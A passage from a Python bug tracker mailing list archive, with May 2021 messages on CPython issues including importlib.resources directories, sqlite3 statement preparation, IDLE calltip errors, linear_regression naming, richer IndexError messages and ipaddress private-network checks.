WARNING, 'WARNING': WARNING, 'INFO': INFO, 'DEBUG': DEBUG, 'NOTSET': NOTSET, } I think it may be best not to return a list of levels because it's not obvious that some of them are aliases, if the caller is responsible for making the list out of the dict, they will be able to decide how to deal with alias levels. If that sounds good I can make a PR.. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:24:38 2021 From: report at bugs.python.org (T M) Date: Mon, 17 May 2021 21:24:38 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories In-Reply-To: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> Message-ID: <1621286678.36.0.0519975896062.issue44162@roundup.psfhosted.org> T M added the comment: importlib_resources 1.1.X also behaves this way: https://github.com/python/importlib_resources/issues/85 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:31:00 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 May 2021 21:31:00 +0000 Subject: [issue44161] free: invalid pointer on graph and photo.message imports In-Reply-To: <1621285950.49.0.418651001882.issue44161@roundup.psfhosted.org> Message-ID: <1621287060.13.0.0110149063162.issue44161@roundup.psfhosted.org> Christian Heimes added the comment: google.cloud, proto.message, and grpc are third party extensions. They are neither part of CPython and nor maintained by us. Please report the issue with authors and maintainers of the library. ---------- nosy: +christian.heimes resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:58:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 May 2021 21:58:42 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621288722.93.0.495725502828.issue44131@roundup.psfhosted.org> STINNER Victor added the comment: commit eaede0ded72e67cee4a91c086847d54cb64ca74c Author: Victor Stinner Date: Mon May 17 23:48:35 2021 +0200 bpo-44131: Test Py_FrozenMain() (GH-26126) * Add test_frozenmain to test_embed * Add Programs/test_frozenmain.py * Add Programs/freeze_test_frozenmain.py * Add Programs/test_frozenmain.h * Add make regen-test-frozenmain * Add test_frozenmain command to Programs/_testembed * _testembed.c: add error(msg) function ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:15:26 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 17 May 2021 22:15:26 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621289726.9.0.640129072793.issue44147@roundup.psfhosted.org> Steve Dower added the comment: I didn't mean to change it. Maybe bpo did it automatically? There are a few ways to get multiple Python installs that could lead to launching the wrong one through PATH. --user is one of the least likely. ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:26:44 2021 From: report at bugs.python.org (Aaron Gallagher) Date: Mon, 17 May 2021 22:26:44 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1621290404.07.0.754528928764.issue14965@roundup.psfhosted.org> Aaron Gallagher <_ at habnab.it> added the comment: @daniel.urban I'm attempting to move this patch along, but since the contributing process has changed in the years since your patch, you'll need to sign the CLA. Are you interested in picking this back up at all? I haven't been given any indication of how to proceed if I'm doing this on your behalf, but hopefully the core team will enlighten us. ---------- nosy: +habnabit _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:33:44 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 May 2021 22:33:44 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621290824.16.0.957318584766.issue44131@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24818 pull_request: https://github.com/python/cpython/pull/26201 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:38:40 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 May 2021 22:38:40 +0000 Subject: [issue27334] pysqlite3 context manager not performing rollback when a database is locked elsewhere for non-DML statements In-Reply-To: <1466095550.35.0.353945818907.issue27334@psf.upfronthosting.co.za> Message-ID: <1621291120.24.0.811689166952.issue27334@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland nosy_count: 3.0 -> 4.0 pull_requests: +24819 pull_request: https://github.com/python/cpython/pull/26202 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:40:47 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 17 May 2021 22:40:47 +0000 Subject: [issue27334] [sqlite3] context manager leaves db locked if commit fails in __exit__ In-Reply-To: <1466095550.35.0.353945818907.issue27334@psf.upfronthosting.co.za> Message-ID: <1621291247.14.0.353612179667.issue27334@roundup.psfhosted.org> Erlend E. Aasland added the comment: > In fact the exception is in the `pass` line rather than in the `execute` line. I can reproduce this without the `pass` line. I've taken the liberty to create a PR based on your patch, Luca. Berker's comments have been addressed in the PR. ---------- title: pysqlite3 context manager not performing rollback when a database is locked elsewhere for non-DML statements -> [sqlite3] context manager leaves db locked if commit fails in __exit__ versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:41:12 2021 From: report at bugs.python.org (Eryk Sun) Date: Mon, 17 May 2021 22:41:12 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621291272.77.0.644115543895.issue44147@roundup.psfhosted.org> Eryk Sun added the comment: > There are a few ways to get multiple Python installs that > could lead to launching the wrong one through PATH. > --user is one of the least likely. As far as I was aware, a --user installation prior to Python 3.10 would be the common way to have the wrong version of a pip-installed extension module in sys.path. (This is fixed in 3.10.) Another way is if PYTHONPATH mistakenly includes another installation's site-packages. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 18:52:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 May 2021 22:52:03 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621291923.92.0.52819468669.issue44131@roundup.psfhosted.org> STINNER Victor added the comment: Compilation failed on s390x RHEL7 LTO + PGO 3.x buildbot: https://buildbot.python.org/all/#/builders/244/builds/208 (...) rm -f libpython3.11.a ar rcs libpython3.11.a Modules/getbuildinfo.o (...) Python/frozen.o lto1: error: libpython3.11.a: file too short (null):0: confused by earlier errors, bailing out lto-wrapper: gcc returned 1 exit status /usr/bin/ld: error: lto-wrapper failed collect2: error: ld returned 1 exit status make[3]: *** [python] Error 1 make[3]: *** Waiting for unfinished jobs.... gcc -pthread -flto -fuse-linker-plugin -ffat-lto-objects -flto-partition=none -g -fprofile-generate -Xlinker -export-dynamic -o python Programs/python.o libpython3.11.a -lcrypt -lpthread -ldl -lutil -lm -lm # Regenerate Programs/test_frozenmain.h # from Programs/test_frozenmain.py # using Programs/freeze_test_frozenmain.py ./python Programs/freeze_test_frozenmain.py Programs/test_frozenmain.h Could not find platform dependent libraries Consider setting $PYTHONHOME to [:] Programs/test_frozenmain.h written make[4]: Leaving directory `/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z.lto-pgo/build' make[3]: Leaving directory `/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z.lto-pgo/build' make[2]: *** [build_all_generate_profile] Error 2 make[2]: Leaving directory `/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z.lto-pgo/build' make[1]: *** [profile-gen-stamp] Error 2 make[1]: Leaving directory `/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z.lto-pgo/build' make: *** [profile-run-stamp] Error 2 program finished with exit code 2 elapsedTime=62.919052 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:17:20 2021 From: report at bugs.python.org (Bonifacio) Date: Mon, 17 May 2021 23:17:20 +0000 Subject: [issue11176] [doc] give more meaningful argument names in argparse documentation In-Reply-To: <1297352937.46.0.470038569364.issue11176@psf.upfronthosting.co.za> Message-ID: <1621293440.47.0.514449905985.issue11176@roundup.psfhosted.org> Bonifacio added the comment: I tried applying the latest patch version but it failed. Are the original authors still interested in moving forward with this patch? If not then I could give this issue a try. ---------- nosy: +Bonifacio2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:19:27 2021 From: report at bugs.python.org (Wayne Johnston) Date: Mon, 17 May 2021 23:19:27 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621293567.27.0.366823706297.issue42937@roundup.psfhosted.org> Wayne Johnston added the comment: This a simple matter of adding the address to the _private_networks constant. I will add it and issue a pull request today/tomorrow. I could add some of the others too for completeness. However, these are really special use versus private. Private is a subset of special use. Should a "_special_use" constant be created. This would include multicast, link_local, private_use, and a few more. There are many others included in https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml. ---------- nosy: +CosmicKid _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:32:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 May 2021 23:32:58 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621294378.87.0.548788623047.issue44131@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24820 pull_request: https://github.com/python/cpython/pull/26203 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:33:06 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 17 May 2021 23:33:06 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621217190.16.0.16581942346.issue44151@roundup.psfhosted.org> Message-ID: <20210517233214.GM16042@ando.pearwood.info> Steven D'Aprano added the comment: > The ML world has collapsed on the terms X and y. (With that > capitalization). I just googled for "ML linear regression" and there is no consistency in either the variable used or the parameters. But most seem to use lowercase x,y. Out of the top 6 links I checked, only one seems to use X,y and even there the y has a hat (circumflex) on it: X,?. More importantly, the ML community has no consistency about the parameters either. I see: y = B0 + B1*x ? = X W + b y = a_0 + a_1 * x y = m x + b y = ?1 + ?2 x y = b0 + b1 x I'm going to give the URLs since the search page results are not reproducable from person to person. See below. The bottom line here is that I don't think the ML community is going to give us much guidence here. And it's probably not our target user base either, which is more aimed at high school and undergraduate users of basic level statistics, not ML algorithms. https://www.geeksforgeeks.org/ml-linear-regression/ https://ml-cheatsheet.readthedocs.io/en/latest/linear_regression.html https://towardsdatascience.com/introduction-to-machine-learning-algorithms-linear-regression-14c4e325882a https://machinelearningmastery.com/linear-regression-for-machine-learning/ https://www.analytixlabs.co.in/blog/linear-regression-machine-learning/ https://madewithml.com/courses/basics/linear-regression/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:47:23 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 17 May 2021 23:47:23 +0000 Subject: [issue44163] IDLE ValueError in HyperParser Message-ID: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> New submission from Raymond Hettinger : Here's a new error that I hadn't seen before. I occurred at some point during a full day training session, so am not sure what triggered the failure: Exception in Tkinter callback Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tkinter/__init__.py", line 1892, in __call__ return self.func(*args) File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/multicall.py", line 176, in handler r = l[i](event) File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/calltip.py", line 51, in try_open_calltip_event self.open_calltip(False) File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/calltip.py", line 62, in open_calltip hp = HyperParser(self.editwin, "insert") File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/hyperparser.py", line 79, in __init__ self.set_index(index) File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/hyperparser.py", line 89, in set_index raise ValueError("Index %s precedes the analyzed statement" ValueError: Index insert precedes the analyzed statement ---------- assignee: terry.reedy components: IDLE messages: 393845 nosy: rhettinger, terry.reedy priority: normal severity: normal status: open title: IDLE ValueError in HyperParser type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:49:41 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 17 May 2021 23:49:41 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories In-Reply-To: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> Message-ID: <1621295381.36.0.495254945615.issue44162@roundup.psfhosted.org> Filipe La?ns added the comment: Directories are not resources, the reason it previously worked was purely accidental. I assume you already found a solution in https://github.com/python/importlib_resources/issues/85, which would be importlib.resources.files(__package__) / 'dir' Can this be closed then? ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 19:54:28 2021 From: report at bugs.python.org (T M) Date: Mon, 17 May 2021 23:54:28 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories In-Reply-To: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> Message-ID: <1621295668.37.0.089894255649.issue44162@roundup.psfhosted.org> T M added the comment: That's fine. I couldn't find anything official on it, but that change is working for me. Thank you! ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 20:00:29 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 18 May 2021 00:00:29 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories In-Reply-To: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> Message-ID: <1621296029.53.0.777812362316.issue44162@roundup.psfhosted.org> Filipe La?ns added the comment: Yes, it would be good to properly define resources in the current docs. Though, I am left questioning if that definition is still correct, I assume so given the implementation. I will open a new bug regarding the documentation of what is considered a resource. Jason, can you close this? Thanks :) ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 20:05:54 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 18 May 2021 00:05:54 +0000 Subject: [issue44164] Document what are resources in importlib.resources Message-ID: <1621296354.19.0.00786945584157.issue44164@roundup.psfhosted.org> New submission from Filipe La?ns : It would be good to explain what constitutes a resource in the importlib.resources documentation. As per the current implementation, they should be defined as arbitrary files contained in the package. Is this correct? ---------- assignee: docs at python components: Documentation messages: 393849 nosy: FFY00, docs at python, jaraco priority: normal severity: normal status: open title: Document what are resources in importlib.resources versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 20:09:08 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Tue, 18 May 2021 00:09:08 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621296548.7.0.357171266477.issue44151@roundup.psfhosted.org> Zachary Kneupper added the comment: > The ML world has collapsed on the terms X and y. (With that > capitalization). The ML community will probably use 3rd party packages for their linear regressions in any case. In my estimation, the ML community would be comfortable with any of these pairs of terms: Fine: + regressor, dependent_variable + independent_variable, dependent_variable + x, y Bad: + X, y <- this wouldn't makes sense here since the first argument is always a vector and is never a matrix. Often, capital letters indicate matrices, and lower case letters indicate vectors (or scalars). The reason that X is often capitalized is because it indicates that X is an m-by-n matrix of several independent variables; whereas y is lowercase because it is a single vector for the dependent variable. Since this linear_regression(regressor, dependent_variable) function takes a vector for the independent variable (as opposed to allowing a matrix of multiple regressors), it's probably not appropriate to use `X` (capitalized). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 20:34:03 2021 From: report at bugs.python.org (Roundup Robot) Date: Tue, 18 May 2021 00:34:03 +0000 Subject: [issue38748] 32 bit ctypes stdcall callback fails to restore stack pointer In-Reply-To: <1573232254.38.0.286098798289.issue38748@roundup.psfhosted.org> Message-ID: <1621298043.5.0.000383847344935.issue38748@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 7.0 -> 8.0 pull_requests: +24821 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/26204 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 22:12:01 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 18 May 2021 02:12:01 +0000 Subject: [issue44159] mimetypes - "strict" on Windows In-Reply-To: <1621281298.07.0.0030957833024.issue44159@roundup.psfhosted.org> Message-ID: <1621303921.2.0.910729277525.issue44159@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 22:33:12 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 18 May 2021 02:33:12 +0000 Subject: [issue44163] IDLE ValueError in HyperParser In-Reply-To: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> Message-ID: <1621305192.23.0.619559123133.issue44163@roundup.psfhosted.org> Terry J. Reedy added the comment: Thank you for the report. Which 3.9.? hyperparser has not changed in a year, but some of the calltip logic has. This occurred when you typed a '(' and IDLE tried to open a calltip but failed, and you did not notice its absence. Easy when not looking for it to help complete the call, especially when others are around. Do you have any idea if more likely to have been in editor or shell, or did you use a mix of both? The preceding lines are indexinrawtext = (len(self.rawtext) - len(self.text.get(index, self.stopatindex))) if indexinrawtext < 0: The resolution of this issue might be augment the error message to print the window type, the index as line.col as well as 'insert', the two lengths, and at least part of the text. We should perhaps look at other callback error messages that IDLE raises. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 22:35:44 2021 From: report at bugs.python.org (Wayne Johnston) Date: Tue, 18 May 2021 02:35:44 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621305344.49.0.361152123558.issue42937@roundup.psfhosted.org> Change by Wayne Johnston : ---------- keywords: +patch pull_requests: +24822 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26205 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 22:55:55 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 18 May 2021 02:55:55 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621306555.75.0.837460469286.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: Looking over the comments so far, it looks like (x, y) would be best and (independent variable, dependent variable) would be second best. The (x, y) also has the advantage of matching correlation() and covariance(). For output order, it seems that algebraic formulas sometimes have the intercept first and sometimes have it last. That said, whenever the words "slope" and "intercept" are used in text, it seems that slope almost always comes first (as in slope/intercept form of a line). FWIW, MS Excel's LINEST function returns is {mn,mn-1,...,m1,b} and the documentation described in terms of y = mx + b. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 02:17:23 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 May 2021 06:17:23 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary In-Reply-To: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> Message-ID: <1621318643.16.0.629662402723.issue44160@roundup.psfhosted.org> Serhiy Storchaka added the comment: Please repeat benchmarking for interned names: kwargs = {sys.intern("a"*i): None for i in range(1, N+1)} and for more distinctive names: kwargs = {sys.intern(f"a{i}"): None for i in range(1, N+1)} I guess the difference will be lesser. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 02:29:34 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 18 May 2021 06:29:34 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary In-Reply-To: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> Message-ID: <1621319374.97.0.62442992768.issue44160@roundup.psfhosted.org> Dennis Sweeney added the comment: Good catch -- with interning, the cutoff is more like 20-50, so it's probably not worth optimizing for. Before: 1 --> 1.67e-07 2 --> 1.77e-07 3 --> 1.90e-07 4 --> 2.05e-07 5 --> 2.14e-07 6 --> 2.35e-07 7 --> 2.51e-07 8 --> 2.67e-07 9 --> 2.76e-07 10 --> 3.01e-07 20 --> 5.43e-07 50 --> 1.58e-06 100 --> 4.35e-06 200 --> 1.19e-05 500 --> 5.11e-05 1000 --> 1.64e-04 After: 1 --> 1.79e-07 2 --> 2.07e-07 3 --> 2.22e-07 4 --> 2.35e-07 5 --> 2.65e-07 6 --> 2.89e-07 7 --> 3.02e-07 9 --> 3.45e-07 10 --> 4.15e-07 20 --> 6.69e-07 50 --> 1.45e-06 100 --> 2.99e-06 200 --> 5.64e-06 500 --> 1.42e-05 1000 --> 2.96e-05 ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 02:44:11 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 May 2021 06:44:11 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary In-Reply-To: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> Message-ID: <1621320251.51.0.219886711814.issue44160@roundup.psfhosted.org> Eric V. Smith added the comment: Maybe the XXX comment in ceval.c should be removed? If we wouldn't change the code to use a dictionary, then that comment seems incorrect. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:23:06 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 07:23:06 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size Message-ID: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> New submission from Erlend E. Aasland : The signature of sqlite3_prepare_v2 is as follows: int sqlite3_prepare_v2( sqlite3 *db, /* Database handle */ const char *zSql, /* SQL statement, UTF-8 encoded */ int nByte, /* Maximum length of zSql in bytes. */ sqlite3_stmt **ppStmt, /* OUT: Statement handle */ const char **pzTail /* OUT: Pointer to unused portion of zSql */ ); Quoting from the SQLite docs[1]: "If the caller knows that the supplied string is nul-terminated, then there is a small performance advantage to passing an nByte parameter that is the number of bytes in the input string including the nul-terminator." sqlite3_prepare_v2 is used five places in the sqlite3 module. We can easily provide the string size in those places. [1] https://sqlite.org/c3ref/prepare.html ---------- components: Extension Modules messages: 393856 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: low severity: normal status: open title: [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:26:18 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 07:26:18 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621322778.17.0.664951578033.issue44165@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24823 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26206 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:31:49 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 07:31:49 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621323109.46.0.588206392276.issue44165@roundup.psfhosted.org> Erlend E. Aasland added the comment: Note, PR 26206 does not include statement creation in _pysqlite_connection_begin (Modules/_sqlite/connection.c). That needs further refactoring, so I'll add that in a separate PR if PR 26206 is accepted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:33:39 2021 From: report at bugs.python.org (Miguel Brito) Date: Tue, 18 May 2021 07:33:39 +0000 Subject: [issue44166] Make IndexError messages for list more informative Message-ID: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> New submission from Miguel Brito : I've noticed that in people will often ask for help on forums or stackoverflow to better understand the causes of IndexErrors [1][2][3]. > The error message line for an IndexError doesn?t give you great information.[1] Currently, when we access a out of bounds position we get something along the lines: Traceback (most recent call last): >>> a = [0, 10, 20, 30, 40] >>> a[5] Traceback (most recent call last): File "", line 1, in IndexError: list index out of range >>> a.pop(6) Traceback (most recent call last): File "", line 1, in IndexError: pop index out of range >>> a[6] = 7 Traceback (most recent call last): File "", line 1, in IndexError: list assignment index out of range >>> a = [] >>> a[2] Traceback (most recent call last): File "", line 1, in IndexError: list index out of range These error messages are too broad and doesn't inform the current length of the list, nor the index that was fed to it. To improve the debugging experience in both interactive and non-interactive code, I propose to offer a richer and more informative error messages. I think this can help users, especially newer and less experienced folks, debug their code. >>> a = [0, 10, 20, 30, 40] >>> a[5] Traceback (most recent call last): File "", line 1, in IndexError: list index out of range, the len is 5 so index must be in -5..4, got 5 >>> a[-6] Traceback (most recent call last): File "", line 1, in IndexError: list index out of range, the len is 5 so index must be in -5..4, got -6 >>> a.pop(6) Traceback (most recent call last): File "", line 1, in IndexError: pop index out of range, the len is 5 so index must be in -5..4, got 6 >>> a[6] = 7 Traceback (most recent call last): File "", line 1, in IndexError: list assignment index out of range, the len is 5 so index must be in -5..4, got 6 >>> a = [] >>> a[2] = 0 Traceback (most recent call last): File "", line 1, in IndexError: list assignment index out of range, got index 2 but the list is empty These proposed messages are inspired by other languages, with the difference that in Python we can have negative index. So informing the allowed ranges is a plus. These improvements are not restricted to list, so it can be applied to strings and tuples as well, or any other indexable object. I have a branch ready, looking forward to hearing from you! [1] https://stackoverflow.com/questions/1098643/indexerror-list-index-out-of-range-and-python [2] https://stackoverflow.com/questions/16005707/index-error-list-index-out-of-range-python [3] https://realpython.com/python-traceback/#indexerror ---------- components: Interpreter Core messages: 393858 nosy: miguendes priority: normal severity: normal status: open title: Make IndexError messages for list more informative type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:40:49 2021 From: report at bugs.python.org (Miguel Brito) Date: Tue, 18 May 2021 07:40:49 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621323649.07.0.591515987898.issue44166@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24824 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26207 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 03:57:01 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Tue, 18 May 2021 07:57:01 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621324621.3.0.411525509065.issue44166@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 04:57:09 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 18 May 2021 08:57:09 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621328229.49.0.920291120039.issue25872@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24825 pull_request: https://github.com/python/cpython/pull/26208 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:04:55 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 18 May 2021 09:04:55 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621328695.51.0.996823302174.issue44131@roundup.psfhosted.org> Petr Viktorin added the comment: The tests are now skipped on Windows. It might be better to use a feature check: hasattr(ctypes.pythonapi, 'Py_FrozenMain') IMO, Py_FrozenMain is quite specific: it's OK if it's exported, but also OK if it's missing. (Unless you're compiling a special build with frozen modules, which won't work at all without Py_FrozenMain.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:07:36 2021 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 18 May 2021 09:07:36 +0000 Subject: [issue44167] ipaddress.IPv6Address.is_private makes redundant checks Message-ID: <1621328856.79.0.268631804552.issue44167@roundup.psfhosted.org> New submission from Martijn Pieters : ipaddress.IPv6Address.is_private uses a hard-coded list of `IPv6Network` objects that cover private networks to test against. This list contains two networks that are subnets of a 3rd network in the list. IP addresses that are not private are tested against all 3 networks where only a single test is needed. The networks in question are: IPv6Network('2001::/23'), IPv6Network('2001:2::/48'), # within 2001::/23 ... IPv6Network('2001:10::/28'), # within 2001::/23 The first is a supernet of the other two, so any IP address that is tested against the first and is not part of that network, will also not be part of the other two networks: >>> from ipaddress import IPv6Network >>> sub_tla_id = IPv6Network('2001::/23') >>> sub_tla_id.supernet_of(IPv6Network('2001:2::/48')) True >>> sub_tla_id.supernet_of(IPv6Network('2001:10::/28')) True We can safely drop these two network entries from the list. On a separate note: the definition here is inconsistent with IPv4Address's 